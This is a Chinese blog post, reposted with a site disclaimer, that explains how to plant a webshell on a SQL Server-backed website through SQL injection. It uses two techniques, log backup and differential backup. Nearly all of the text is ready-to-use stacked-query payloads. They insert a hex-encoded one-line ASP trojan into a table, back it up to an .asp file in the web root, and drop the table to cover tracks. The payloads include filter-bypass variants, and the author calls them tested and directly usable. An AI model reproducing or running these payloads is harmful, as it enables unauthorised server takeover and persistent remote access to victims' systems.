标签:getshell .. 备份 sqlserver 干货 disk backup 数据库
log备份这是一种导出日志文件到web路径来getshell的方法 本次简述一下通过sqlserver进行getshell的两种方法,payload可以直接拿来用,话不多说,直接往下看就完事了 优势: 1、重复性好,多次备份的成功率高 2、相对于差异备份而言,shell的体积较小 利用条件:至少DBO权限 1、前提得知绝对路径,并且可写 2、站库不分离 3、数据库必须被备份过一次 第一步:;alter database 库名 set RECOVERY FULL--第二步:
;create table 数据库名..表名(a image)-- //建表第三步:
;insert into 数据库名..表名(a) values (0x一句话木马)-- //插入一句话木马到表中,注意16进制第四步:
;backup database 数据库名 to disk = 'c:\www\panda.bak'-- //先手动给test1备份一遍第五步:
;backup log 数据库名 to disk = 'c:\www\panda.asp' with init-- //利用log备份到web路径getshell第六步:
;Drop table 数据库名..表名-- //删除表差异备份的条件:至少DBO权限 1、前提知道绝对路径,路径可写。 2、HTTP 500错误不是自定义 3、WEB和数据在一块。还有的就是数据库中不能存在%号之类的,不然也是不成功的。 4、数据量不能太大 第一步:
;backup database 库名 to disk = 'c:\bak.bak' ;-- //先手动备份一次如果被过滤,用下方的payload:
;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x备份路径\xx.bak backup database @a to disk=@s-- //0x备份的数据库名转换成16位进制,db_name()里面可以加数字备份不同的数据库第二步:
;create table 数据库名..表名(a image)-- //建立表,加字段第三步:
;insert into 数据库名..表名(a) values (0x一句话木马)-- //插入一句话木马到表中,注意16进制
第四步:
;backup database 库名 to disk = 'c:\shell.asp' with differential , format ;-- //进行差异备份如果被过滤,用下方的payload:
;declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x备份路径\xx.asp backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT-- //备份到路径\xx.asp,前提是已得知路径,注意转换为16进制,假如备份的路径为c:\webroot\panda.asp ,访问查看是否备份getshell成功第五步:
;Drop table 数据库..表名-- //备份完getshell过后删除表
文中的方法和payload亲测可用的,至于图片,可以稍微的自行脑补,在注入点上操作即可
标签:getshell,..,备份,sqlserver,干货,disk,backup,数据库 来源: https://www.cnblogs.com/PANDA-Mosen/p/13283204.html
本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享; 2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关; 3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关; 4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除; 5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。